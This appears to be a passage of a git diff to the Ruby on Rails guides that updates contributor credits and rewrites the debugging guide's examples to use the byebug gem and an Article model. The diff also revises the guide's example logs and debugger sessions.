+$ git checkout 4-0-stable
+```
+
+TIP: You may want to [put your Git branch name in your shell prompt](http://qugstart.com/blog/git-and-svn/add-colored-git-branch-name-to-your-shell-prompt/) to make it easier to remember which version of the code you're working with.
+
+#### Backporting
 
 Changes that are merged into master are intended for the next major release of Rails. Sometimes, it might be beneficial for your changes to propagate back to the maintenance releases for older stable branches. Generally, security fixes and bug fixes are good candidates for a backport, while new features and patches that introduce a change in behavior will not be accepted. When in doubt, it is best to consult a Rails team member before backporting your changes to avoid wasted effort.
 
diff --git a/guides/source/credits.html.erb b/guides/source/credits.html.erb
index 5beae9c29b..61ea0b44ef 100644
--- a/guides/source/credits.html.erb
+++ b/guides/source/credits.html.erb
@@ -40,7 +40,7 @@ Oscar Del Ben is a software engineer at <a href="http://www.wildfireapp.com/">Wi
 <% end %>
 
 <%= author('Tore Darell', 'toretore') do %>
-  Tore Darell is an independent developer based in Menton, France who specialises in cruft-free web applications using Ruby, Rails and unobtrusive JavaScript. His home on the Internet is his blog <a href="http://tore.darell.no">Sneaky Abstractions</a>.
+  Tore Darell is an independent developer based in Menton, France who specialises in cruft-free web applications using Ruby, Rails and unobtrusive JavaScript. You can follow him on <a href="http://twitter.com/toretore">Twitter</a>.
 <% end %>
 
 <%= author('Jeff Dean', 'zilkey') do %>
@@ -64,7 +64,7 @@ Oscar Del Ben is a software engineer at <a href="http://www.wildfireapp.com/">Wi
 <% end %>
 
 <%= author('Pratik Naik', 'lifo') do %>
-  Pratik Naik is a Ruby on Rails developer at <a href="http://www.37signals.com">37signals</a> and also a member of the <a href="http://rubyonrails.org/core">Rails core team</a>. He maintains a blog at <a href="http://m.onkey.org">has_many :bugs, :through =&gt; :rails</a> and has a semi-active <a href="http://twitter.com/lifo">twitter account</a>.
+  Pratik Naik is a Ruby on Rails developer at <a href="https://basecamp.com/">Basecamp</a> and also a member of the <a href="http://rubyonrails.org/core">Rails core team</a>. He maintains a blog at <a href="http://m.onkey.org">has_many :bugs, :through =&gt; :rails</a> and has a semi-active <a href="http://twitter.com/lifo">twitter account</a>.
 <% end %>
 
 <%= author('Emilio Tagua', 'miloops') do %>
@@ -76,5 +76,5 @@ Oscar Del Ben is a software engineer at <a href="http://www.wildfireapp.com/">Wi
 <% end %>
 
 <%= author('Akshay Surve', 'startupjockey', 'akshaysurve.jpg') do %>
-  Akshay Surve is the Founder at <a href="http://www.deltax.com">DeltaX</a>, hackathon specialist, a midnight code junkie and ocassionally writes prose. You can connect with him on <a href="https://twitter.com/akshaysurve">Twitter</a>, <a href="http://www.linkedin.com/in/akshaysurve">Linkedin</a>, <a href="http://www.akshaysurve.com/">Personal Blog</a> or <a href="http://www.quora.com/Akshay-Surve">Quora</a>.
+  Akshay Surve is the Founder at <a href="http://www.deltax.com">DeltaX</a>, hackathon specialist, a midnight code junkie and occasionally writes prose. You can connect with him on <a href="https://twitter.com/akshaysurve">Twitter</a>, <a href="http://www.linkedin.com/in/akshaysurve">Linkedin</a>, <a href="http://www.akshaysurve.com/">Personal Blog</a> or <a href="http://www.quora.com/Akshay-Surve">Quora</a>.
 <% end %>
diff --git a/guides/source/debugging_rails_applications.md b/guides/source/debugging_rails_applications.md
index 14d65e4747..f6e7980fe2 100644
--- a/guides/source/debugging_rails_applications.md
+++ b/guides/source/debugging_rails_applications.md
@@ -1,3 +1,5 @@
+**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON http://guides.rubyonrails.org.**
+
 Debugging Rails Applications
 ============================
 
@@ -26,17 +28,17 @@ One common task is to inspect the contents of a variable. In Rails, you can do t
 The `debug` helper will return a \<pre> tag that renders the object using the YAML format. This will generate human-readable data from any object. For example, if you have this code in a view:
 
 ```html+erb
-<%= debug @post %>
+<%= debug @article %>
 <p>
   <b>Title:</b>
-  <%= @post.title %>
+  <%= @article.title %>
 </p>
 ```
 
 You'll see something like this:
 
 ```yaml
---- !ruby/object:Post
+--- !ruby/object Article
 attributes:
   updated_at: 2008-09-05 22:55:47
   body: It's a very helpful guide for debugging your Rails app.
@@ -55,10 +57,10 @@ Title: Rails debugging guide
 Displaying an instance variable, or any other object or method, in YAML format can be achieved this way:
 
 ```html+erb
-<%= simple_format @post.to_yaml %>
+<%= simple_format @article.to_yaml %>
 <p>
   <b>Title:</b>
-  <%= @post.title %>
+  <%= @article.title %>
 </p>
 ```
 
@@ -67,7 +69,7 @@ The `to_yaml` method converts the method to YAML format leaving it more readable
 As a result of this, you will have something like this in your view:
 
 ```yaml
---- !ruby/object:Post
+--- !ruby/object Article
 attributes:
 updated_at: 2008-09-05 22:55:47
 body: It's a very helpful guide for debugging your Rails app.
@@ -88,7 +90,7 @@ Another useful method for displaying object values is `inspect`, especially when
 <%= [1, 2, 3, 4, 5].inspect %>
 <p>
   <b>Title:</b>
-  <%= @post.title %>
+  <%= @article.title %>
 </p>
 ```
 
@@ -123,7 +125,7 @@ config.logger = Logger.new(STDOUT)
 config.logger = Log4r::Logger.new("Application Log")
 ```
 
-TIP: By default, each log is created under `Rails.root/log/` and the log file name is `environment_name.log`.
+TIP: By default, each log is created under `Rails.root/log/` and the log file is named after the environment in which the application is running.
 
 ### Log Levels
 
@@ -138,7 +140,7 @@ Rails.logger.level = 0 # at any time
 
 This is useful when you want to log under development or staging, but you don't want to flood your production log with unnecessary information.
 
-TIP: The default Rails log level is `info` in production mode and `debug` in development and test mode.
+TIP: The default Rails log level is `debug` in all environments.
 
 ### Sending Messages
 
@@ -153,18 +155,18 @@ logger.fatal "Terminating application, raised unrecoverable error!!!"
 Here's an example of a method instrumented with extra logging:
 
 ```ruby
-class PostsController < ApplicationController
+class ArticlesController < ApplicationController
   # ...
 
   def create
-    @post = Post.new(params[:post])
-    logger.debug "New post: #{@post.attributes.inspect}"
-    logger.debug "Post should be valid: #{@post.valid?}"
-
-    if @post.save
-      flash[:notice] = 'Post was successfully created.'
-      logger.debug "The post was saved and now the user is going to be redirected..."
-      redirect_to(@post)
+    @article = Article.new(params[:article])
+    logger.debug "New article: #{@article.attributes.inspect}"
+    logger.debug "Article should be valid: #{@article.valid?}"
+
+    if @article.save
+      flash[:notice] =  'Article was successfully created.'
+      logger.debug "The article was saved and now the user is going to be redirected..."
+      redirect_to(@article)
     else
       render action: "new"
     end
@@ -177,21 +179,21 @@ end
 Here's an example of the log generated when this controller action is executed:
 
 ```
-Processing PostsController#create (for 127.0.0.1 at 2008-09-08 11:52:54) [POST]
+Processing ArticlesController#create (for 127.0.0.1 at 2008-09-08 11:52:54) [POST]
   Session ID: BAh7BzoMY3NyZl9pZCIlMDY5MWU1M2I1ZDRjODBlMzkyMWI1OTg2NWQyNzViZjYiCmZsYXNoSUM6J0FjdGl
 vbkNvbnRyb2xsZXI6OkZsYXNoOjpGbGFzaEhhc2h7AAY6CkB1c2VkewA=--b18cd92fba90eacf8137e5f6b3b06c4d724596a4
-  Parameters: {"commit"=>"Create", "post"=>{"title"=>"Debugging Rails",
+  Parameters: {"commit"=>"Create", "article"=>{"title"=>"Debugging Rails",
  "body"=>"I'm learning how to print in logs!!!", "published"=>"0"},
- "authenticity_token"=>"2059c1286e93402e389127b1153204e0d1e275dd", "action"=>"create", "controller"=>"posts"}
-New post: {"updated_at"=>nil, "title"=>"Debugging Rails", "body"=>"I'm learning how to print in logs!!!",
+ "authenticity_token"=>"2059c1286e93402e389127b1153204e0d1e275dd", "action"=>"create", "controller"=>"articles"}
+New article: {"updated_at"=>nil, "title"=>"Debugging Rails", "body"=>"I'm learning how to print in logs!!!",
  "published"=>false, "created_at"=>nil}
-Post should be valid: true
-  Post Create (0.000443)   INSERT INTO "posts" ("updated_at", "title", "body", "published",
+Article should be valid: true
+  Article Create (0.000443)   INSERT INTO "articles" ("updated_at", "title", "body", "published",
  "created_at") VALUES('2008-09-08 14:52:54', 'Debugging Rails',
  'I''m learning how to print in logs!!!', 'f', '2008-09-08 14:52:54')
-The post was saved and now the user is going to be redirected...
-Redirected to #<Post:0x20af760>
-Completed in 0.01224 (81 reqs/sec) | DB: 0.00044 (3%) | 302 Found [http://localhost/posts]
+The article was saved and now the user is going to be redirected...
+Redirected to # Article:0x20af760>
+Completed in 0.01224 (81 reqs/sec) | DB: 0.00044 (3%) | 302 Found [http://localhost/articles]
 ```
 
 Adding extra logging like this makes it easy to search for unexpected or unusual behavior in your logs. If you add extra logging, be sure to make sensible use of log levels to avoid filling your production logs with useless trivia.
@@ -210,8 +212,8 @@ logger.tagged("BCX") { logger.tagged("Jason") { logger.info "Stuff" } } # Logs "
 ```
 
 ### Impact of Logs on Performance
-Logging will always have a small impact on performance of your rails app, 
-        particularly when logging to disk.However, there are a few subtleties:
+Logging will always have a small impact on performance of your rails app,
+        particularly when logging to disk. However, there are a few subtleties:
 
 Using the `:debug` level will have a greater performance penalty than `:fatal`,
       as a far greater number of strings are being evaluated and written to the
@@ -224,446 +226,576 @@ Another potential pitfall is that if you have many calls to `Logger` like this
 logger.debug "Person attributes hash: #{@person.attributes.inspect}"
 ```
 
-In the above example, There will be a performance impact even if the allowed 
-output level doesn't include debug. The reason is that Ruby has to evaluate 
-these strings, which includes instantiating the somewhat heavy `String` object 
+In the above example, There will be a performance impact even if the allowed
+output level doesn't include debug. The reason is that Ruby has to evaluate
+these strings, which includes instantiating the somewhat heavy `String` object
 and interpolating the variables, and which takes time.
-Therefore, it's recommended to pass blocks to the logger methods, as these are 
-only evaluated if the output level is the same or included in the allowed level 
+Therefore, it's recommended to pass blocks to the logger methods, as these are
+only evaluated if the output level is the same or included in the allowed level
 (i.e. lazy loading). The same code rewritten would be:
 
 ```ruby
-logger.debug {"Person attibutes hash: #{@person.attributes.inspect}"}
+logger.debug {"Person attributes hash: #{@person.attributes.inspect}"}
 ```
 
-The contents of the block, and therefore the string interpolation, is only 
-evaluated if debug is enabled. This performance savings is only really 
+The contents of the block, and therefore the string interpolation, is only
+evaluated if debug is enabled. This performance savings is only really
 noticeable with large amounts of logging, but it's a good practice to employ.
 
-Debugging with the `debugger` gem
+Debugging with the `byebug` gem
 ---------------------------------
 
-When your code is behaving in unexpected ways, you can try printing to logs or the console to diagnose the problem. Unfortunately, there are times when this sort of error tracking is not effective in finding the root cause of a problem. When you actually need to journey into your running source code, the debugger is your best companion.
+When your code is behaving in unexpected ways, you can try printing to logs or
+the console to diagnose the problem. Unfortunately, there are times when this
+sort of error tracking is not effective in finding the root cause of a problem.
+When you actually need to journey into your running source code, the debugger
+is your best companion.
 
-The debugger can also help you if you want to learn about the Rails source code but don't know where to start. Just debug any request to your application and use this guide to learn how to move from the code you have written deeper into Rails code.
+The debugger can also help you if you want to learn about the Rails source code
+but don't know where to start. Just debug any request to your application and
+use this guide to learn how to move from the code you have written deeper into
+Rails code.
 
 ### Setup
 
-You can use the `debugger` gem to set breakpoints and step through live code in Rails. To install it, just run:
+You can use the `byebug` gem to set breakpoints and step through live code in
+Rails. To install it, just run:
 
 ```bash
-$ gem install debugger
+$ gem install byebug
 ```
 
-Rails has had built-in support for debugging since Rails 2.0. Inside any Rails application you can invoke the debugger by calling the `debugger` method.
+Inside any Rails application you can then invoke the debugger by calling the
+`byebug` method.
 
 Here's an example:
 
 ```ruby
 class PeopleController < ApplicationController
   def new
-    debugger
+    byebug
     @person = Person.new
   end
 end
 ```
 
-If you see this message in the console or logs:
+### The Shell
+
+As soon as your application calls the `byebug` method, the debugger will be
+started in a debugger shell inside the terminal window where you launched your
+application server, and you will be placed at the debugger's prompt `(byebug)`.
+Before the prompt, the code around the line that is about to be run will be
+displayed and the current line will be marked by '=>'. Like this:
 
 ```
-***** Debugger requested, but was not available: Start server with --debugger to enable *****
+[1, 10] in /PathTo/project/app/controllers/articles_controller.rb
+    3:
+    4:   # GET /articles
+    5:   # GET /articles.json
+    6:   def index
+    7:     byebug
+=>  8:     @articles = Article.find_recent
+    9:
+   10:     respond_to do |format|
+   11:       format.html # index.html.erb
+   12:       format.json { render json: @articles }
+
+(byebug)
 ```
 
-Make sure you have started your web server with the option `--debugger`:
+If you got there by a browser request, the browser tab containing the request
+will be hung until the debugger has finished and the trace has finished
+processing the entire request.
+
+For example:
 
 ```bash
-$ rails server --debugger
 => Booting WEBrick
-=> Rails 4.0.0 application starting on http://0.0.0.0:3000
-=> Debugger enabled
-...
-```
+=> Rails 5.0.0 application starting in development on http://0.0.0.0:3000
+=> Run `rails server -h` for more startup options
+=> Notice: server is listening on all interfaces (0.0.0.0). Consider using 127.0.0.1 (--binding option)
+=> Ctrl-C to shutdown server
+[2014-04-11 13:11:47] INFO  WEBrick 1.3.1
+[2014-04-11 13:11:47] INFO  ruby 2.1.1 (2014-02-24) [i686-linux]
+[2014-04-11 13:11:47] INFO  WEBrick::HTTPServer#start: pid=6370 port=3000
 
-TIP: In development mode, you can dynamically `require \'debugger\'` instead of restarting the server, even if it was started without `--debugger`.
 
-### The Shell
+Started GET "/" for 127.0.0.1 at 2014-04-11 13:11:48 +0200
+  ActiveRecord::SchemaMigration Load (0.2ms)  SELECT "schema_migrations".* FROM "schema_migrations"
+Processing by ArticlesController#index as HTML
 
-As soon as your application calls the `debugger` method, the debugger will be started in a debugger shell inside the terminal window where you launched your application server, and you will be placed at the debugger's prompt `(rdb:n)`. The _n_ is the thread number. The prompt will also show you the next line of code that is waiting to run.
+[3, 12] in /PathTo/project/app/controllers/articles_controller.rb
+    3:
+    4:   # GET /articles
+    5:   # GET /articles.json
+    6:   def index
+    7:     byebug
+=>  8:     @articles = Article.find_recent
+    9:
+   10:     respond_to do |format|
+   11:       format.html # index.html.erb
+   12:       format.json { render json: @articles }
 
-If you got there by a browser request, the browser tab containing the request will be hung until the debugger has finished and the trace has finished processing the entire request.
+(byebug)
+```
 
-For example:
+Now it's time to explore and dig into your application. A good place to start is
+by asking the debugger for help. Type: `help`
 
-```bash
-@posts = Post.all
-(rdb:7)
 ```
+(byebug) help
 
-Now it's time to explore and dig into your application. A good place to start is by asking the debugger for help. Type: `help`
+byebug 2.7.0
 
-```
-(rdb:7) help
-ruby-debug help v0.10.2
 Type 'help <command-name>' for help on a specific command
 
 Available commands:
-backtrace  delete   enable  help    next  quit     show    trace
-break      disable  eval    info    p     reload   source  undisplay
-catch      display  exit    irb     pp    restart  step    up
-condition  down     finish  list    ps    save     thread  var
-continue   edit     frame   method  putl  set      tmate   where
+backtrace  delete   enable  help       list    pry next  restart  source     up
+break      disable  eval    info       method  ps        save     step       var
+catch      display  exit    interrupt  next    putl      set      thread
+condition  down     finish  irb        p       quit      show     trace
+continue   edit     frame   kill       pp      reload    skip     undisplay
 ```
 
-TIP: To view the help menu for any command use `help <command-name>` at the debugger prompt. For example: _`help var`_
+TIP: To view the help menu for any command use `help <command-name>` at the
+debugger prompt. For example: _`help list`_. You can abbreviate any debugging
+command by supplying just enough letters to distinguish them from other
+commands, so you can also use `l` for the `list` command, for example.
 
-The next command to learn is one of the most useful: `list`. You can abbreviate any debugging command by supplying just enough letters to distinguish them from other commands, so you can also use `l` for the `list` command.
+To see the previous ten lines you should type `list-` (or `l-`)
 
-This command shows you where you are in the code by printing 10 lines centered around the current line; the current line in this particular case is line 6 and is marked by `=>`.
-
-```
-(rdb:7) list
-[1, 10] in /PathTo/project/app/controllers/posts_controller.rb
-   1  class PostsController < ApplicationController
-   2    # GET /posts
-   3    # GET /posts.json
-   4    def index
-   5      debugger
-=> 6      @posts = Post.all
-   7
-   8      respond_to do |format|
-   9        format.html # index.html.erb
-   10        format.json { render json: @posts }
 ```
+(byebug) l-
 
-If you repeat the `list` command, this time using just `l`, the next ten lines of the file will be printed out.
+[1, 10] in /PathTo/project/app/controllers/articles_controller.rb
+   1  class ArticlesController < ApplicationController
+   2    before_action :set_article, only: [:show, :edit, :update, :destroy]
+   3
+   4    # GET /articles
+   5    # GET /articles.json
+   6    def index
+   7      byebug
+   8      @articles = Article.find_recent
+   9
+   10      respond_to do |format|
 
 ```
-(rdb:7) l
-[11, 20] in /PathTo/project/app/controllers/posts_controller.rb
-   11      end
-   12    end
-   13
-   14    # GET /posts/1
-   15    # GET /posts/1.json
-   16    def show
-   17      @post = Post.find(params[:id])
-   18
-   19      respond_to do |format|
-   20        format.html # show.html.erb
-```
 
-And so on until the end of the current file. When the end of file is reached, the `list` command will start again from the beginning of the file and continue again up to the end, treating the file as a circular buffer.
+This way you can move inside the file, being able to see the code above and over
+the line where you added the `byebug` call. Finally, to see where you are in
+the code again you can type `list=`
 
-On the other hand, to see the previous ten lines you should type `list-` (or `l-`)
-
-```
-(rdb:7) l-
-[1, 10] in /PathTo/project/app/controllers/posts_controller.rb
-   1  class PostsController < ApplicationController
-   2    # GET /posts
-   3    # GET /posts.json
-   4    def index
-   5      debugger
-   6      @posts = Post.all
-   7
-   8      respond_to do |format|
-   9        format.html # index.html.erb
-   10        format.json { render json: @posts }
 ```
+(byebug) list=
 
-This way you can move inside the file, being able to see the code above and over the line you added the `debugger`.
-Finally, to see where you are in the code again you can type `list=`
+[3, 12] in /PathTo/project/app/controllers/articles_controller.rb
+    3:
+    4:   # GET /articles
+    5:   # GET /articles.json
+    6:   def index
+    7:     byebug
+=>  8:     @articles = Article.find_recent
+    9:
+   10:     respond_to do |format|
+   11:       format.html # index.html.erb
+   12:       format.json { render json: @articles }
 
-```
-(rdb:7) list=
-[1, 10] in /PathTo/project/app/controllers/posts_controller.rb
-   1  class PostsController < ApplicationController
-   2    # GET /posts
-   3    # GET /posts.json
-   4    def index
-   5      debugger
-=> 6      @posts = Post.all
-   7
-   8      respond_to do |format|
-   9        format.html # index.html.erb
-   10        format.json { render :json => @posts }
+(byebug)
 ```
 
 ### The Context
 
-When you start debugging your application, you will be placed in different contexts as you go through the different parts of the stack.
-
-The debugger creates a context when a stopping point or an event is reached. The context has information about the suspended program which enables a debugger to inspect the frame stack, evaluate variables from the perspective of the debugged program, and contains information about the place where the debugged program is stopped.
-
-At any time you can call the `backtrace` command (or its alias `where`) to print the backtrace of the application. This can be very helpful to know how you got where you are. If you ever wondered about how you got somewhere in your code, then `backtrace` will supply the answer.
-
-```
-(rdb:5) where
-    #0 PostsController.index
-       at line /PathTo/project/app/controllers/posts_controller.rb:6
-    #1 Kernel.send
-       at line /PathTo/project/vendor/rails/actionpack/lib/action_controller/base.rb:1175
-    #2 ActionController::Base.perform_action_without_filters
-       at line /PathTo/project/vendor/rails/actionpack/lib/action_controller/base.rb:1175
-    #3 ActionController::Filters::InstanceMethods.call_filters(chain#ActionController::Fil...,...)
-       at line /PathTo/project/vendor/rails/actionpack/lib/action_controller/filters.rb:617
+When you start debugging your application, you will be placed in different
+contexts as you go through the different parts of the stack.
+
+The debugger creates a context when a stopping point or an event is reached. The
+context has information about the suspended program which enables the debugger
+to inspect the frame stack, evaluate variables from the perspective of the
+debugged program, and contains information about the place where the debugged
+program is stopped.
+
+At any time you can call the `backtrace` command (or its alias `where`) to print
+the backtrace of the application. This can be very helpful to know how you got
+where you are. If you ever wondered about how you got somewhere in your code,
+then `backtrace` will supply the answer.
+
+```
+(byebug) where
+--> #0  ArticlesController.index
+      at /PathTo/project/test_app/app/controllers/articles_controller.rb:8
+    #1  ActionController::ImplicitRender.send_action(method#String, *args#Array)
+      at /PathToGems/actionpack-5.0.0/lib/action_controller/metal/implicit_render.rb:4
+    #2  AbstractController::Base.process_action(action#NilClass, *args#Array)
+      at /PathToGems/actionpack-5.0.0/lib/abstract_controller/base.rb:189
+    #3  ActionController::Rendering.process_action(action#NilClass, *args#NilClass)
+      at /PathToGems/actionpack-5.0.0/lib/action_controller/metal/rendering.rb:10
 ...
 ```
 
-You move anywhere you want in this trace (thus changing the context) by using the `frame _n_` command, where _n_ is the specified frame number.
+The current frame is marked with `-->`. You can move anywhere you want in this
+trace (thus changing the context) by using the `frame _n_` command, where _n_ is
+the specified frame number. If you do that, `byebug` will display your new
+context.
 
 ```
-(rdb:5) frame 2
-#2 ActionController::Base.perform_action_without_filters
-       at line /PathTo/project/vendor/rails/actionpack/lib/action_controller/base.rb:1175
+(byebug) frame 2
+
+[184, 193] in /PathToGems/actionpack-5.0.0/lib/abstract_controller/base.rb
+   184:       # is the intended way to override action dispatching.
+   185:       #
+   186:       # Notice that the first argument is the method to be dispatched
+   187:       # which is *not* necessarily the same as the action name.
+   188:       def process_action(method_name, *args)
+=> 189:         send_action(method_name, *args)
+   190:       end
+   191:
+   192:       # Actually call the method associated with the action. Override
+   193:       # this method if you wish to change how action methods are called,
+
+(byebug)
 ```
 
-The available variables are the same as if you were running the code line by line. After all, that's what debugging is.
+The available variables are the same as if you were running the code line by
+line. After all, that's what debugging is.
 
-Moving up and down the stack frame: You can use `up [n]` (`u` for abbreviated) and `down [n]` commands in order to change the context _n_ frames up or down the stack respectively. _n_ defaults to one. Up in this case is towards higher-numbered stack frames, and down is towards lower-numbered stack frames.
+You can also use `up [n]` (`u` for abbreviated) and `down [n]` commands in order
+to change the context _n_ frames up or down the stack respectively. _n_ defaults
+to one. Up in this case is towards higher-numbered stack frames, and down is
+towards lower-numbered stack frames.
 
 ### Threads
 
-The debugger can list, stop, resume and switch between running threads by using the command `thread` (or the abbreviated `th`). This command has a handful of options:
+The debugger can list, stop, resume and switch between running threads by using
+the `thread` command (or the abbreviated `th`). This command has a handful of
+options:
 
 * `thread` shows the current thread.
-* `thread list` is used to list all threads and their statuses. The plus + character and the number indicates the current thread of execution.
+* `thread list` is used to list all threads and their statuses. The plus +
+character and the number indicates the current thread of execution.
 * `thread stop _n_` stop thread _n_.
 * `thread resume _n_` resumes thread _n_.
 * `thread switch _n_` switches the current thread context to _n_.
 
-This command is very helpful, among other occasions, when you are debugging concurrent threads and need to verify that there are no race conditions in your code.
+This command is very helpful, among other occasions, when you are debugging
+concurrent threads and need to verify that there are no race conditions in your
+code.
 
 ### Inspecting Variables
 
-Any expression can be evaluated in the current context. To evaluate an expression, just type it!
-
-This example shows how you can print the instance_variables defined within the current context:
-
-```
-@posts = Post.all
-(rdb:11) instance_variables
-["@_response", "@action_name", "@url", "@_session", "@_cookies", "@performed_render", "@_flash", "@template", "@_params", "@before_filter_chain_aborted", "@request_origin", "@_headers", "@performed_redirect", "@_request"]
-```
-
-As you may have figured out, all of the variables that you can access from a controller are displayed. This list is dynamically updated as you execute code. For example, run the next line using `next` (you'll learn more about this command later in this guide).
-
-```
-(rdb:11) next
-Processing PostsController#index (for 127.0.0.1 at 2008-09-04 19:51:34) [GET]
-  Session ID: BAh7BiIKZmxhc2hJQzonQWN0aW9uQ29udHJvbGxlcjo6Rmxhc2g6OkZsYXNoSGFzaHsABjoKQHVzZWR7AA==--b16e91b992453a8cc201694d660147bba8b0fd0e
-  Parameters: {"action"=>"index", "controller"=>"posts"}
-/PathToProject/posts_controller.rb:8
-respond_to do |format|
+Any expression can be evaluated in the current context. To evaluate an
+expression, just type it!
+
+This example shows how you can print the instance variables defined within the
+current context:
+
+```
+[3, 12] in /PathTo/project/app/controllers/articles_controller.rb
+    3:
+    4:   # GET /articles
+    5:   # GET /articles.json
+    6:   def index
+    7:     byebug
+=>  8:     @articles = Article.find_recent
+    9:
+   10:     respond_to do |format|
+   11:       format.html # index.html.erb
+   12:       format.json { render json: @articles }
+
+(byebug) instance_variables
+[:@_action_has_layout, :@_routes, :@_headers, :@_status, :@_request,
+ :@_response, :@_env, :@_prefixes, :@_lookup_context, :@_action_name,
+ :@_response_body, :@marked_for_same_origin_verification, :@_config]
+```
+
+As you may have figured out, all of the variables that you can access from a
+controller are displayed. This list is dynamically updated as you execute code.
+For example, run the next line using `next` (you'll learn more about this
+command later in this guide).
+
+```
+(byebug) next
+[5, 14] in /PathTo/project/app/controllers/articles_controller.rb
+   5     # GET /articles.json
+   6     def index
+   7       byebug
+   8       @articles = Article.find_recent
+   9
+=> 10       respond_to do |format|
+   11         format.html # index.html.erb
+   12        format.json { render json: @articles }
+   13      end
+   14    end
+   15
+(byebug)
 ```
 
 And then ask again for the instance_variables:
 
 ```
-(rdb:11) instance_variables.include? "@posts"
+(byebug) instance_variables.include? "@articles"
 true
 ```
 
-Now `@posts` is included in the instance variables, because the line defining it was executed.
+Now `@articles` is included in the instance variables, because the line defining it
+was executed.
 
-TIP: You can also step into **irb** mode with the command `irb` (of course!). This way an irb session will be started within the context you invoked it. But be warned: this is an experimental feature.
+TIP: You can also step into **irb** mode with the command `irb` (of course!).
+This way an irb session will be started within the context you invoked it. But
+be warned: this is an experimental feature.
 
-The `var` method is the most convenient way to show variables and their values:
+The `var` method is the most convenient way to show variables and their values.
+Let's let `byebug` help us with it.
 
 ```
-var
-(rdb:1) v[ar] const <object>            show constants of object
-(rdb:1) v[ar] g[lobal]                  show global variables
-(rdb:1) v[ar] i[nstance] <object>       show instance variables of object
-(rdb:1) v[ar] l[ocal]                   show local variables
+(byebug) help var
+v[ar] cl[ass]                   show class variables of self
+v[ar] const <object>            show constants of object
+v[ar] g[lobal]                  show global variables
+v[ar] i[nstance] <object>       show instance variables of object
+v[ar] l[ocal]                   show local variables
 ```
 
-This is a great way to inspect the values of the current context variables. For example:
+This is a great way to inspect the values of the current context variables. For
+example, to check that we have no local variables currently defined.
 
 ```
-(rdb:9) var local
-  __dbg_verbose_save => false
+(byebug) var local
+(byebug)
 ```
 
 You can also inspect for an object method this way:
 
 ```
-(rdb:9) var instance Post.new
-@attributes = {"updated_at"=>nil, "body"=>nil, "title"=>nil, "published"=>nil, "created_at"...
+(byebug) var instance Article.new
+@_start_transaction_state = {}
+@aggregation_cache = {}
+@association_cache = {}
+@attributes = {"id"=>nil, "created_at"=>nil, "updated_at"=>nil}
 @attributes_cache = {}
-@new_record = true
+@changed_attributes = nil
+...
 ```
 
-TIP: The commands `p` (print) and `pp` (pretty print) can be used to evaluate Ruby expressions and display the value of variables to the console.
+TIP: The commands `p` (print) and `pp` (pretty print) can be used to evaluate
+Ruby expressions and display the value of variables to the console.
 
-You can use also `display` to start watching variables. This is a good way of tracking the values of a variable while the execution goes on.
+You can use also `display` to start watching variables. This is a good way of
+tracking the values of a variable while the execution goes on.
 
 ```
-(rdb:1) display @recent_comments
-1: @recent_comments =
+(byebug) display @articles
+1: @articles = nil
 ```
 
-The variables inside the displaying list will be printed with their values after you move in the stack. To stop displaying a variable use `undisplay _n_` where _n_ is the variable number (1 in the last example).
+The variables inside the displaying list will be printed with their values after
+you move in the stack. To stop displaying a variable use `undisplay _n_` where
+_n_ is the variable number (1 in the last example).
 
 ### Step by Step
 
-Now you should know where you are in the running trace and be able to print the available variables. But lets continue and move on with the application execution.
+Now you should know where you are in the running trace and be able to print the
+available variables. But lets continue and move on with the application
+execution.
 
-Use `step` (abbreviated `s`) to continue running your program until the next logical stopping point and return control to the debugger.
+Use `step` (abbreviated `s`) to continue running your program until the next
+logical stopping point and return control to the debugger.
 
-TIP: You can also use `step+ n` and `step- n` to move forward or backward `n` steps respectively.
+You may also use `next` which is similar to step, but function or method calls
+that appear within the line of code are executed without stopping.
 
-You may also use `next` which is similar to step, but function or method calls that appear within the line of code are executed without stopping. As with step, you may use plus sign to move _n_ steps.
+TIP: You can also use `step n` or `next n` to move forwards `n` steps at once.
 
-The difference between `next` and `step` is that `step` stops at the next line of code executed, doing just a single step, while `next` moves to the next line without descending inside methods.
+The difference between `next` and `step` is that `step` stops at the next line
+of code executed, doing just a single step, while `next` moves to the next line
+without descending inside methods.
 
-For example, consider this block of code with an included `debugger` statement:
+For example, consider the following situation:
 
 ```ruby
-class Author < ActiveRecord::Base
-  has_one :editorial
-  has_many :comments
+Started GET "/" for 127.0.0.1 at 2014-04-11 13:39:23 +0200
+Processing by ArticlesController#index as HTML
 
-  def find_recent_comments(limit = 10)
-    debugger
-    @recent_comments ||= comments.where("created_at > ?", 1.week.ago).limit(limit)
-  end
-end
+[1, 8] in /home/davidr/Proyectos/test_app/app/models/article.rb
+   1: class Article < ActiveRecord::Base
+   2:
+   3:   def self.find_recent(limit = 10)
+   4:     byebug
+=> 5:     where('created_at > ?', 1.week.ago).limit(limit)
+   6:   end
+   7:
+   8: end
+
+(byebug)
 ```
 
-TIP: You can use the debugger while using `rails console`. Just remember to `require "debugger"` before calling the `debugger` method.
+If we use `next`, we want go deep inside method calls. Instead, byebug will go
+to the next line within the same context. In this case, this is the last line of
+the method, so `byebug` will jump to next next line of the previous frame.
 
 ```
-$ rails console
-Loading development environment (Rails 4.0.0)
->> require "debugger"
-=> []
->> author = Author.first
-=> #<Author id: 1, first_name: "Bob", last_name: "Smith", created_at: "2008-07-31 12:46:10", updated_at: "2008-07-31 12:46:10">
->> author.find_recent_comments
-/PathTo/project/app/models/author.rb:11
-)
-```
+(byebug) next
+Next went up a frame because previous frame finished
 
-With the code stopped, take a look around:
+[4, 13] in /PathTo/project/test_app/app/controllers/articles_controller.rb
+    4:   # GET /articles
+    5:   # GET /articles.json
+    6:   def index
+    7:     @articles = Article.find_recent
+    8:
+=>  9:     respond_to do |format|
+   10:       format.html # index.html.erb
+   11:       format.json { render json: @articles }
+   12:     end
+   13:   end
 
-```
-(rdb:1) list
-[2, 9] in /PathTo/project/app/models/author.rb
-   2    has_one :editorial
-   3    has_many :comments
-   4
-   5    def find_recent_comments(limit = 10)
-   6      debugger
-=> 7      @recent_comments ||= comments.where("created_at > ?", 1.week.ago).limit(limit)
-   8    end
-   9  end
+(byebug)
 ```
 
-You are at the end of the line, but... was this line executed? You can inspect the instance variables.
+If we use `step` in the same situation, we will literally go the next ruby
+instruction to be executed. In this case, the activesupport's `week` method.
 
 ```
-(rdb:1) var instance
-@attributes = {"updated_at"=>"2008-07-31 12:46:10", "id"=>"1", "first_name"=>"Bob", "las...
-@attributes_cache = {}
-```
+(byebug) step
 
-`@recent_comments` hasn't been defined yet, so it's clear that this line hasn't been executed yet. Use the `next` command to move on in the code:
